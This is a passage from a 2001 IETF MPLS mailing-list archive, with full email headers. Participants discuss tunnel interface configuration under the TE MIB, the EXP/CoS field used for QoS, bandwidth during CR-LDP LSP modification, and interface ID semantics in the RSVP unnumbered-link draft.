</font><font face="arial" size=2 color="#FF0000">But, if you want to
treat a tunnel as a real interface (and assign IP addresses etc. to it at
both ends) </font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>I would
categorize the use of a single interface as a &quot;real&quot;
interface<br>
configuration as well.<br>
<br>
<blockquote type=cite cite><font face="arial" size=2 color="#FF0000">you
will have to have interface configuration at both the head and tail ends.
</font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>That is
possible using the existing MIB. I think that we have<br>
violent agreement on this point.<br>
<br>
<blockquote type=cite cite><font face="arial" size=2 color="#FF0000">If
you don't have a tail end interface configuration the only reason to use
tunnel interfaces is probably to make the tunnel *look* like an interface
on the head end router. This however means that you are treating it as an
interface on one side and treating it as a simple terminating tunnel on
the other side. This seems
anomalous.<x-tab>&nbsp;&nbsp;&nbsp;</x-tab></font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>I guess
that you are entitled to your opinion. My customers<br>
don't think that this approach is so anomalous.<br>
<br>
<blockquote type=cite cite><font size=3>&nbsp;If your implementation
wishes to create an<br>
interface for the tail end of the tunnel, it can do this based on the
acceptance of<br>
an RSVP-TE session at the tail point, or via manual configuration.
However, making <br>
this ifIndex consistent with the one at the head automatically is
something that I think you <br>
will have to do
manually.</font><font face="arial" size=2 color="#0000FF">
</font><font size=3><br>
&nbsp;<br>
</font><font face="arial" size=2 color="#FF0000">I think you
misunderstood, the actual value of the ifIndex is of no consequence,
<br>
you just have to have a corresponding interface at the other
end.</font><font size=3> </font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Okay, so
what is the problem then? 8)<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>--Tom<br>
<br>
<br>
<br>
<br>
<div>------------------------------------------------------------------------</div>
Mathematics is the supreme nostalgia of our time. 
</html>

--=====================_472341761==_.ALT--



From owner-mpls@UU.NET  Tue Oct 30 00:44:49 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA06467
	for <mpls-archive@lists.ietf.org>; Tue, 30 Oct 2001 00:44:49 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmxz08276;
	Tue, 30 Oct 2001 05:45:08 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmxy25659
	for mpls-outgoing; Tue, 30 Oct 2001 05:44:22 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmxy25628
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 30 Oct 2001 05:44:06 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmxy16666
	for <mpls@UU.NET>; Tue, 30 Oct 2001 05:43:49 GMT
Received: from brahma01.netbrahma.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [164.164.70.67])
	id QQlmxy06222
	for <mpls@UU.NET>; Tue, 30 Oct 2001 05:44:03 GMT
Received: by mailserver.netbrahma.com with Internet Mail Service (5.5.2653.19)
	id <V74C1DN0>; Tue, 30 Oct 2001 11:08:42 +0530
Message-ID: <13D467F625FAD511AE2A00D0B7B917D75DD298@mailserver.netbrahma.com>
From: Khuzema Pithewan <KhuzemaP@netbrahma.com>
To: "Dominic-Savio, Patrick" <Patrick.Dominic-Savio@marconi.com>,
        Thomas Nadeau <tnadeau@cisco.com>
Cc: mpls@UU.NET
Subject: RE: Question on tunnel Interface (w.r.t TE MIB)
Date: Tue, 30 Oct 2001 11:08:41 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

It would be great from understanding point of view if it can be answered
more elaborately. 
the question still remains..whats wrong in having IfTable interface entry at
both ends, which can be provisioned from te-mib.
note that..it may not be done manually at tail-end.

Khuzema.

> ----------
> From: 	Thomas Nadeau[SMTP:tnadeau@cisco.com]
> Sent: 	Tuesday, October 30, 2001 5:41 AM
> To: 	Dominic-Savio, Patrick
> Cc: 	'mpls@uu.net'
> Subject: 	RE: Question on tunnel Interface (w.r.t TE MIB)
> 
> 
> 
> 
> 	        Most if not all MPLS implementations that I know of only
> require the operator
> 	to configure the tunnel at the head end. 
> 	 
> 	But, if you want to treat a tunnel as a real interface (and assign
> IP addresses etc. to it at both ends) 
> 
> 
>         I would categorize the use of a single interface as a "real"
> interface
> configuration as well.
> 
> 
> 
> 	you will have to have interface configuration at both the head and
> tail ends. 
> 
> 
>         That is possible using the existing MIB. I think that we have
> violent agreement on this point.
> 
> 
> 
> 	If you don't have a tail end interface configuration the only reason
> to use tunnel interfaces is probably to make the tunnel *look* like an
> interface on the head end router. This however means that you are treating
> it as an interface on one side and treating it as a simple terminating
> tunnel on the other side. This seems anomalous.   
> 
> 
>         I guess that you are entitled to your opinion. My customers
> don't think that this approach is so anomalous.
> 
> 
> 
> 	 If your implementation wishes to create an
> 	interface for the tail end of the tunnel, it can do this based on
> the acceptance of
> 	an RSVP-TE session at the tail point, or via manual configuration.
> However, making 
> 	this ifIndex consistent with the one at the head automatically is
> something that I think you 
> 	will have to do manually. 
> 	 
> 	I think you misunderstood, the actual value of the ifIndex is of no
> consequence, 
> 	you just have to have a corresponding interface at the other end. 
> 
> 
>         Okay, so what is the problem then? 8)
> 
>         --Tom
> 
> 
> 
> 
> 
> ------------------------------------------------------------------------
> Mathematics is the supreme nostalgia of our time. 
> 


From owner-mpls@UU.NET  Tue Oct 30 04:39:07 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA23331
	for <mpls-archive@lists.ietf.org>; Tue, 30 Oct 2001 04:39:07 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmyo20890;
	Tue, 30 Oct 2001 09:39:19 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmyo28990
	for mpls-outgoing; Tue, 30 Oct 2001 09:38:44 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmyo28985
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 30 Oct 2001 09:38:32 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmyo13853
	for <mpls@uu.net>; Tue, 30 Oct 2001 09:37:02 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmyo03720
	for <mpls@uu.net>; Tue, 30 Oct 2001 09:37:21 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id EAA25542 for <mpls@uu.net>; Tue, 30 Oct 2001 04:37:01 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id EAA00784 for mpls@uu.net; Tue, 30 Oct 2001 04:37:01 -0500 (EST)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmyo28924
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 30 Oct 2001 09:36:41 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmyo11673
	for <mpls@UU.NET>; Tue, 30 Oct 2001 09:36:18 GMT
Received: from ce-nfs-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: ce-nfs-1.cisco.com [171.68.227.69])
	id QQlmyo16820
	for <mpls@UU.NET>; Tue, 30 Oct 2001 09:36:38 GMT
Received: from YHASAN-W2K5.cisco.com (sjck-dial-gw5-109.cisco.com [10.19.238.110])
	by ce-nfs-1.cisco.com (8.8.8+Sun/8.8.8) with ESMTP id BAA09667;
	Tue, 30 Oct 2001 01:36:16 -0800 (PST)
Message-Id: <4.3.2.7.2.20011030013056.02cb48e0@ce-nfs-1.cisco.com>
X-Sender: yhasan@ce-nfs-1.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Tue, 30 Oct 2001 01:36:07 -0700
To: pradeep n <nmnpradeep@yahoo.com>
From: Yousuf Hasan <yhasan@cisco.com>
Subject: Re: CoS (EXP) field
Cc: mpls@UU.NET
In-Reply-To: <20011030091145.62389.qmail@web14702.mail.yahoo.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-mpls@UU.NET
Precedence: bulk

At 01:11 AM 10/30/2001 -0800, pradeep n wrote:
>CoS (EXP) field of Shim Header is considered as
>Expermental range, currently this field is being
>considered for QOS implementation.

That's true, the EXP or CoS field is 3 bits & is normally used to map IP precedence. And this would be E-LSPs which means that the LSP's QOS is inferred from the EXP field
Thanks

-Yousuf


>Please elobrate on this matter. More information
>expected.
>
>Pradeep
>
>
>__________________________________________________
>Do You Yahoo!?
>Make a great connection at Yahoo! Personals.
>http://personals.yahoo.com 



From owner-mpls@UU.NET  Tue Oct 30 04:54:14 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA23458
	for <mpls-archive@lists.ietf.org>; Tue, 30 Oct 2001 04:54:13 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmyp29513;
	Tue, 30 Oct 2001 09:54:13 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmyp00012
	for mpls-outgoing; Tue, 30 Oct 2001 09:53:37 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmyp00007
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 30 Oct 2001 09:53:33 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmyp26273
	for <mpls@uu.net>; Tue, 30 Oct 2001 09:52:02 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmyp26516
	for <mpls@uu.net>; Tue, 30 Oct 2001 09:52:22 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id EAA00752 for <mpls@uu.net>; Tue, 30 Oct 2001 04:52:01 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id EAA01568 for mpls@uu.net; Tue, 30 Oct 2001 04:52:01 -0500 (EST)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlmyp29689
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 30 Oct 2001 09:47:28 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmyp25857
	for <mpls@UU.NET>; Tue, 30 Oct 2001 09:46:33 GMT
Received: from ce-nfs-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: ce-nfs-1.cisco.com [171.68.227.69])
	id QQlmyp03155
	for <mpls@UU.NET>; Tue, 30 Oct 2001 09:46:53 GMT
Received: from YHASAN-W2K5.cisco.com (sjck-dial-gw5-109.cisco.com [10.19.238.110])
	by ce-nfs-1.cisco.com (8.8.8+Sun/8.8.8) with ESMTP id BAA15656;
	Tue, 30 Oct 2001 01:46:30 -0800 (PST)
Message-Id: <4.3.2.7.2.20011030014447.02ccb2b8@ce-nfs-1.cisco.com>
X-Sender: yhasan@ce-nfs-1.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Tue, 30 Oct 2001 01:46:20 -0700
To: pradeep n <nmnpradeep@yahoo.com>
From: Yousuf Hasan <yhasan@cisco.com>
Subject: Re: CoS (EXP) field
Cc: mpls@UU.NET
In-Reply-To: <4.3.2.7.2.20011030013056.02cb48e0@ce-nfs-1.cisco.com>
References: <20011030091145.62389.qmail@web14702.mail.yahoo.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-mpls@UU.NET
Precedence: bulk

At 01:36 AM 10/30/2001 -0700, Yousuf Hasan wrote:
>At 01:11 AM 10/30/2001 -0800, pradeep n wrote:
>>CoS (EXP) field of Shim Header is considered as
>>Expermental range, currently this field is being
>>considered for QOS implementation.
>
>That's true, the EXP or CoS field is 3 bits & is normally used to map IP precedence. And this would be E-LSPs which means that the LSP's QOS is inferred from the EXP field

correction: the MPLS packet's QoS in this LSP is inferred from the EXP field


>Thanks
>
>-Yousuf
>
>
>>Please elobrate on this matter. More information
>>expected.
>>
>>Pradeep
>>
>>
>>__________________________________________________
>>Do You Yahoo!?
>>Make a great connection at Yahoo! Personals.
>>http://personals.yahoo.com 



From owner-mpls@UU.NET  Tue Oct 30 04:56:22 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA23516
	for <mpls-archive@lists.ietf.org>; Tue, 30 Oct 2001 04:56:21 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmyp03100;
	Tue, 30 Oct 2001 09:56:20 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmyp00156
	for mpls-outgoing; Tue, 30 Oct 2001 09:55:46 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmyp00136
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 30 Oct 2001 09:55:38 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmyp04654
	for <mpls@uu.net>; Tue, 30 Oct 2001 09:54:55 GMT
Received: from wiprom2mx1.wipro.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: wiprom2mx1.wipro.com [203.197.164.41])
	id QQlmyp16514
	for <mpls@uu.net>; Tue, 30 Oct 2001 09:55:15 GMT
Received: from m2vwall3.wipro.com (m2vwall3.wipro.com [164.164.29.237])
	by wiprom2mx1.wipro.com (8.11.3/8.11.3) with SMTP id f9U9srl18408
	for <mpls@uu.net>; Tue, 30 Oct 2001 15:24:53 +0530 (IST)
Received: from 192.168.2.18 by m2vwall3.wipro.com (InterScan E-Mail VirusWall NT); Tue, 30 Oct 2001 15:24:47 +0530
Received: from alcatel-gw.wipinfo.soft.net ([192.168.220.200])
          by sarovar.mail.wipro.com (Netscape Messaging Server 4.15) with
          ESMTP id GM0JJF00.057; Tue, 30 Oct 2001 15:24:51 +0530 
Received: from boochi.alc.wipinfo.soft.net ([192.168.220.203]) by alcatel-gw.wipinfo.soft.net (8.7.5/8.9.3) with ESMTP id KAA28742; Tue, 30 Oct 2001 10:33:57 +0530
Date: Tue, 30 Oct 2001 15:29:31 +0400 (RET)
From: "Nagabhushana Ramaswamy Nadig" <nagabhushana.ramaswamy@wipro.com>
X-X-Sender: <bhushanr@boochi.alc.wipinfo.soft.net>
Reply-To: <nagabhushana.ramaswamy@wipro.com>
To: <mpls@UU.NET>
cc: <mpls-ops@mplsrc.com>
Subject: Doubt on LSP Modification Using CR-LDP draft
Message-ID: <Pine.LNX.4.31.0110301528350.587-100000@boochi.alc.wipinfo.soft.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk


Hi all,
     In draft draft-ietf-mpls-crlsp-modify-03.txt, it was given the method
for modifying the existing CRLSP to Increase/Decrease Bandwidth.
     Here it specifies that the Modify has to allocate new labels, but
reserves the Difference Bandwidth only. Also the ingress will switch the
traffic to the new Label, so that the transition would be smooth.
      I have doubt regarding using new label, but reserving only difference
BandWidth. When I install label binding in the Link layer ( say, in FR, I
create PVC using two end points with incoming and outgoing DLCIs on the
incoming and outgoing port respectively), I have to specify the Reservation.
Now, if I have 2 label pairs, its like I have 2 PVCs in the link layer.
      Also Draft says that Ingress will switch data to the new path before
it releases the old one. Thus my  Transit node should have both the
connections active at the same time for smooth transition ( and they are 2
different connections for the link layer). Now, with the different BW
reservation on the second PVC, how the traffic can be transmitted ?, when
can I allocate the BW reserved for the first PVC to the modified PVC without
affecting the Data flow ?

Thanks in advance,
Bhushana




From owner-mpls@UU.NET  Tue Oct 30 07:29:16 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA25530
	for <mpls-archive@lists.ietf.org>; Tue, 30 Oct 2001 07:29:16 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmym17268;
	Tue, 30 Oct 2001 09:13:01 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmym26972
	for mpls-outgoing; Tue, 30 Oct 2001 09:12:43 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmym26965
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 30 Oct 2001 09:12:39 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmym04147
	for <mpls@UU.NET>; Tue, 30 Oct 2001 09:11:45 GMT
Received: from web14702.mail.yahoo.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web14702.mail.yahoo.com [216.136.224.119])
	id QQlmym25492
	for <mpls@UU.NET>; Tue, 30 Oct 2001 09:12:05 GMT
Message-ID: <20011030091145.62389.qmail@web14702.mail.yahoo.com>
Received: from [203.200.15.20] by web14702.mail.yahoo.com via HTTP; Tue, 30 Oct 2001 01:11:45 PST
Date: Tue, 30 Oct 2001 01:11:45 -0800 (PST)
From: pradeep n <nmnpradeep@yahoo.com>
Subject: CoS (EXP) field
To: mpls@UU.NET
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

CoS (EXP) field of Shim Header is considered as
Expermental range, currently this field is being
considered for QOS implementation.

Please elobrate on this matter. More information
expected.

Pradeep


__________________________________________________
Do You Yahoo!?
Make a great connection at Yahoo! Personals.
http://personals.yahoo.com


From owner-mpls@UU.NET  Tue Oct 30 08:48:33 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA28951
	for <mpls-archive@lists.ietf.org>; Tue, 30 Oct 2001 08:48:28 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmzf00682;
	Tue, 30 Oct 2001 13:48:17 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmzf03376
	for mpls-outgoing; Tue, 30 Oct 2001 13:48:07 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmzf03371
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 30 Oct 2001 13:48:05 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmzf23522
	for <mpls@UU.NET>; Tue, 30 Oct 2001 13:46:04 GMT
Received: from merlot.juniper.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: natint.juniper.net [207.17.136.129])
	id QQlmzf27016
	for <mpls@UU.NET>; Tue, 30 Oct 2001 13:45:53 GMT
Received: from juniper.net (garnet.juniper.net [172.17.28.17])
	by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id f9UDjK053450;
	Tue, 30 Oct 2001 05:45:20 -0800 (PST)
	(envelope-from yakov@juniper.net)
Message-Id: <200110301345.f9UDjK053450@merlot.juniper.net>
To: "Kullberg, Alan" <akullber@netplane.com>
cc: George Swallow <swallow@cisco.com>, mpls@UU.NET
Subject: Re: Simplification for UNNUM draft. 
In-Reply-To: Your message of "Mon, 29 Oct 2001 17:05:48 EST."
             <87009604743AD411B1F600508BA0F9598AD93E@XOVER.dedham.mindspeed.com> 
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-ID: <60658.1004449520.1@juniper.net>
Date: Tue, 30 Oct 2001 05:45:20 -0800
From: Yakov Rekhter <yakov@juniper.net>
Sender: owner-mpls@UU.NET
Precedence: bulk

Alan,

> Yakov & George,
> 
> I don't like this suggested change.  See reasoning below.

Actually the change I suggested wasn't exactly what I have in
mind. What I have in mind is to have the Interface ID being the
interface identifier assigned to the interface by the LSR specified
by the router ID. 

Yakov.

P.S. Sorry for the confusion...

> 
> Alan
> 
> > -----Original Message-----
> > From: Yakov Rekhter [mailto:yakov@juniper.net]
> > Sent: Monday, October 29, 2001 11:36 AM
> > To: George Swallow
> > Cc: mpls@UU.NET
> > Subject: Re: Simplification for UNNUM draft. 
> > 
> > 
> > George,
> > 
> > > draft-ietf-mpls-rsvp-unnum-02.txt allows both the normal HOP and the
> > > IF_ID Hop object to be used on an unnumbered link.  This leads to
> > > unnecessary cases and extra checking at the incoming interface.
> 
> George's reasoning for making the following change is the above sentence.
> 
> > > I suggest the following modifications:
> > > 
> > > a) mandate that one always use the IF_ID HOP object on an unnumbered
> > >    link.
> > > 
> > > b) pop the unnumbered interface subobject off of the ERO before
> > >    forwarding the Path message over the unnumbered link (the
> > >    information is now in the PHOP
> > 
> > May I also suggest that we change the semantics of the Unnumbered
> > Interface ID subobject in the ERO from:
> > 
> >    The Interface ID is the outgoing interface identifier with 
> > respect to
> >    the LSR specified by the router ID.
> > 
> > to
> > 
> >    The Interface ID is the incoming interface identifier with 
> > respect to
> >    the LSR specified by the router ID.
> > 
> > Yakov.
> 
> > George replies:
> >
> > That would be fine.  In fact in that case, the upstream router would
> > not have to pop off the subobject, since the next node would receive a
> > an ero which has a valid first object.
> >
> > ...George
> 
> By not popping the subobject off, the receiver of the PATH must do some
> "extra checking at the incoming interface" because the IF_ID must be
> validated to refer to the same interface.  In this case, the IF_ID is
from the sender's perspective and the UI.interface_id is from the
> receiver's perspective, which I think is worse than before for cross-
> checking.
> 
> In addition, Yakov's change affects Explicit Label Control at the Egress
> node.  Let's say the egress node is node B, and there is an unnumbered
> interface from B to a node C.  OSPF is not running between B and C,
> C doesn't have a Router ID, and B doesn't know what C's unnumbered ID
> is.  This makes it impossible to use the ERO to specify the Explicit
> Labels between B and C when that interface is unnumbered.


From owner-mpls@UU.NET  Tue Oct 30 08:55:38 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA29369
	for <mpls-archive@lists.ietf.org>; Tue, 30 Oct 2001 08:55:34 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmzf06450;
	Tue, 30 Oct 2001 13:55:54 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmzf03871
	for mpls-outgoing; Tue, 30 Oct 2001 13:55:19 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmzf03866
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 30 Oct 2001 13:55:09 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmzf07540
	for <mpls@uu.net>; Tue, 30 Oct 2001 13:55:03 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmzf07229
	for <mpls@uu.net>; Tue, 30 Oct 2001 13:55:23 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id IAA12056 for <mpls@uu.net>; Tue, 30 Oct 2001 08:55:02 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id IAA11543 for mpls@uu.net; Tue, 30 Oct 2001 08:55:02 -0500 (EST)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmzf03768
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 30 Oct 2001 13:53:39 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmzf12329
	for <mpls@UU.NET>; Tue, 30 Oct 2001 13:53:25 GMT
Received: from xover.mindspeed.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cnxt10002.conexant.com [198.62.10.2])
	id QQlmzf02820
	for <mpls@UU.NET>; Tue, 30 Oct 2001 13:53:44 GMT
Received: by XOVER.dedham.mindspeed.com with Internet Mail Service (5.5.2653.19)
	id <VVKNGSH9>; Tue, 30 Oct 2001 08:53:23 -0500
Message-ID: <87009604743AD411B1F600508BA0F9598AD942@XOVER.dedham.mindspeed.com>
From: "Kullberg, Alan" <akullber@netplane.com>
To: "'Yakov Rekhter'" <yakov@juniper.net>
Cc: George Swallow <swallow@cisco.com>, mpls@UU.NET
Subject: RE: Simplification for UNNUM draft. 
Date: Tue, 30 Oct 2001 08:53:22 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Yakov,

Now I'm (more) confused.  Could you further clarify what you mean?

Thanks,

Alan

> -----Original Message-----
> From: Yakov Rekhter [mailto:yakov@juniper.net]
> Sent: Tuesday, October 30, 2001 8:45 AM
> To: Kullberg, Alan
> Cc: George Swallow; mpls@UU.NET
> Subject: Re: Simplification for UNNUM draft. 
> 
> 
> Alan,
> 
> > Yakov & George,
> > 
> > I don't like this suggested change.  See reasoning below.
> 
> Actually the change I suggested wasn't exactly what I have in
> mind. What I have in mind is to have the Interface ID being the
> interface identifier assigned to the interface by the LSR specified
> by the router ID. 
> 
> Yakov.
> 
> P.S. Sorry for the confusion...
> 
> > 
> > Alan
> > 
> > > -----Original Message-----
> > > From: Yakov Rekhter [mailto:yakov@juniper.net]
> > > Sent: Monday, October 29, 2001 11:36 AM
> > > To: George Swallow
> > > Cc: mpls@UU.NET
> > > Subject: Re: Simplification for UNNUM draft. 
> > > 
> > > 
> > > George,
> > > 
> > > > draft-ietf-mpls-rsvp-unnum-02.txt allows both the 
> normal HOP and the
> > > > IF_ID Hop object to be used on an unnumbered link.  
> This leads to
> > > > unnecessary cases and extra checking at the incoming interface.
> > 
> > George's reasoning for making the following change is the 
> above sentence.
> > 
> > > > I suggest the following modifications:
> > > > 
> > > > a) mandate that one always use the IF_ID HOP object on 
> an unnumbered
> > > >    link.
> > > > 
> > > > b) pop the unnumbered interface subobject off of the ERO before
> > > >    forwarding the Path message over the unnumbered link (the
